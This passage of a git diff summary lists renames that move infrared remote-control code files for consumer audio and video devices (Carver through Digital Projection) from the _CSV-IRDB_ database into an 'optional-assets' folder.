assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/CD Player/135,123.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/CD Player/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/CD Player/42,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/CD Player/60,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/CD Player/68,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/CD Player/99,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/Cassette Tape/130,111.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/Cassette Tape/135,126.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/Cassette Tape/18,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/Laser Disc/102,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/Pre-Amplifier/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/Pre-Amplifier/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/Pre-Amplifier/135,123.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/Pre-Amplifier/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/Pre-Amplifier/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/Pre-Amplifier/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/Pre-Amplifier/21,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/Pre-Amplifier/23,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/Pre-Amplifier/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/Receiver/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/Receiver/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/Receiver/135,123.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/Receiver/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/Receiver/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/Receiver/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/Receiver/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/Tuner/135,123.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/Tuner/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/Tuner/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Carver/Tuner/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cary Audio Design/CD Player/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cary Audio Design/DVD Player/23,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cary Audio Design/Receiver/19,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Casio/Unknown_CMD-40/170,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cce/Unknown_RC-27/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cce/Unknown_RC-28b/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cce/Unknown_TV-CCE/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cce/Unknown_VCR-CCE/21,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Celadon/IR to RS232/123,2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Centrum/Unknown_Gemini/29,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Centrum/Unknown_rc5/29,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Century Concept/Unknown_dvd/0,246.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Channel Master/Satellite/132,99.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Channel Plus/Video Switcher/49,235.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Chaparral/Unknown_11-5315-1/128,103.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/130,19.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/48,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cinemateq/DVD Player/26,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cinemateq/Video Scaler/27,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cisco/DVR/35,64.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Citation/Surround Processor/132,66.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Citizen/Unknown_JX-2022C/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/Amplifier/201,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/Amplifier/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/Amplifier/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/CD Player/134,97.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/CD Player/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/CRCD/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/CRCD/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/CRCD/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/DVD Player/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/DVD Player/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/DVD Player/200,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/DVD Player/25,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/DVD Player/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/DVD Player/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/Integrated Amplifier/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/Pre-Amplifier/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/Pre-Amplifier/200,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/Pre-Amplifier/25,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/Pre-Amplifier/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/Pre-Amplifier/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/SACD/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/SACD/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/Surround Processor/116,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/Surround Processor/200,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/Surround Processor/25,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/Surround Sound/116,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/Surround Sound/200,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/Tuner/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Classe Audio/Tuner/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Coby/DVD Player/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Coby/TV/0,127.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Colorado Vnet/Music Server/110,146.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Comcast/Cable Box/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Comcast/Cable Box/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Comcast/Cable Box/14,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Comcast/Cable Box/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Comcast/Cable Box/27,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Comcast/Cable Box/62,16.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Comcast/Digital Cable/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Comcast/Digital Cable/27,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Comcast/HD Cable with DVR/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Comcast/HD Cable with DVR/14,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Commodore/Unknown_cdtv/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Compro/Unknown_DVB-T200/128,126.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Compro/Unknown_VideoMate-K300/4,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Conrad/Unknown_006/56,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Conrad/Unknown_Promo8/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Contour/Unknown_Contour25/65,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cool Sat/Satellite/64,64.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Coolsat/Unknown_Pro/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Copland/CD Player/128,114.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Copland/CD Player/129,49.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Corvo/Relaybox/27,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cox/Digital Cable/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cox/Digital Cable/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cph03x/Unknown_AS-218/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Creative/Unknown_DDTS-100/193,68.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Creative/Unknown_INFRA/33,172.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Creative/Unknown_JUKEBOX3/33,172.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Creative/Unknown_RM-1500/193,68.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Creative/Unknown_RM-1800/193,68.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Creative/Unknown_RM-850/193,68.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Creative/Unknown_RM900/193,68.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Creative/Unknown_rm1000w/193,68.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Crestron/IR Receiver/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Crestron/IR Receiver/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Crestron/IR Receiver/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Crestron/IR Receiver/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Crestron/IR Receiver/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Crestron/Lighting Controller/30,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Crestron/Music Server/14,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Crown/Unknown_cd-80/202,20.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Crown/Unknown_testinglirc.config/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Curtis Electronics/Unknown_TV/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Curtis Mathes/VCR/144,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Curtis Mathes/VCR/144,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cyberhome/DVD Player/114,205.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cyberhome/Unknown_300-RMC-300Z/114,205.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cyberhome/Unknown_504/114,205.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cyberhome/Unknown_ADL-528/114,205.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD-302/114,205.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD/114,205.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cyberhome/Unknown_cyberhome/114,205.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cypress/Unknown_CR-72/64,175.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Cyron/Lighting Controller/2,189.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/D-LINK/MP3 Player/18,37.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/D-LINK/MP3 Player/8,230.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/D-LINK/Media Center/8,230.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/D-LINK/Media Center/8,231.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/D-LINK/Unknown_DSM320/8,230.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/D-LINK/Unknown_i2eye/130,19.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DBPower/Projector_T20/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DIFRNCE/Unknown_DVD5010S/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DK Digital/DVD Player/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DK Digital/Unknown_Digital/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DLO/HomeDock/238,135.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DSE/Unknown_G1605/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DSE/Unknown_G1928/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DSE/Unknown_G7659/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DVDO/Scaler/0,45.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DVDO/Scaler/132,32.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DVDO/Video Processor/0,45.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DVDO/Video Processor/132,32.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/DVICO/Unknown_FusionRemote/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Da Lite/Screen/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Daeumling/Unknown_SR200/128,38.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Daewoo/DVD Player/21,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Daewoo/TV/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Daewoo/TV/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Daewoo/TV/6,6.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Daewoo/Unknown_14Q3/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Daewoo/Unknown_97P04701/21,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Daewoo/Unknown_97P1R2ZDA0/21,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Daewoo/Unknown_97P1RA3AB0/21,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Daewoo/Unknown_DAEWOO/21,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Daewoo/Unknown_DS608P/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Daewoo/Unknown_DV-800/21,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Daewoo/Unknown_DV-F24D/21,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Daewoo/Unknown_DVDS150/32,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Daewoo/Unknown_R-40A06/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Daewoo/Unknown_R-40A10/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Daewoo/Unknown_R-40A15/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Daewoo/Unknown_R-43A08/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Daewoo/Unknown_VCR/21,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Daewoo/Unknown_VCR/49,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Daewoo/Unknown_Visa/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Daewoo/Unknown_r-22/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Daewoo/VCR/21,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dantax/DVD Player/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dantax/Unknown_RC/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dedicated Micros/Camera Switcher/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dell/TV/0,28.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dell/Unknown_XPS/43,28.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Dell/Video Projector/79,80.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Delphi/Satellite Receiver/27,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/AV Processor/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/AV Processor/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/AV Processor/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Amplifier/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Amplifier/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Amplifier/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Amplifier/6,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Amplifier/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Blu-Ray/2,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/CD Jukebox/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/CD Jukebox/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/CD Player/168,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/CD Player/175,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/CD Player/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/CD Player/6,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/CD Player/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/CD Receiver/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/CD Receiver/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/CD Receiver/6,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/CD Receiver/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Cassette Tape/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Cassette Tape/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Cassette Tape/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Cassette Tape/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/DAT/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/DVD Player/176,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/DVD Player/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/DVD Player/2,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/DVD Player/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/DVD Player/6,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/DVD Player/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Laser Disc/168,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Mini-Disc/6,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Pre-Amplifier/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Pre-Amplifier/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Processor/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Processor/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Processor/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Processor/4,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Processor/4,3.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Processor/4,5.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/2,3.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/4,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/4,2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/4,3.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/4,5.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/4,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/6,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/7,4.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/7,5.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/7,6.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/7,8.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/80,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/96,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Receiver/97,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Tuner/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Tuner/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Unknown/176,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Unknown_Denon/91,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Unknown_RC-220/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Unknown_RC-224/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Unknown_RC-241/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Unknown_RC-541/176,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Unknown_RC-861/2,2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Unknown_RC267/6,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Unknown_denon-rc-251/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denon/Unknown_denon-rc-266/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Denver/Unknown_DVD-228/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Digiquest/DGQ-3300_DVB-T/0,191.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Digiquest/DGQ-7600HD_DVB-T/0,191.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Digiquest/DVB-T/1,254.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Digital Music Expres/DMX/38,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Digital Projection/Projector/32,-1.ir (100%) rename assets/resources/infrared/{ => 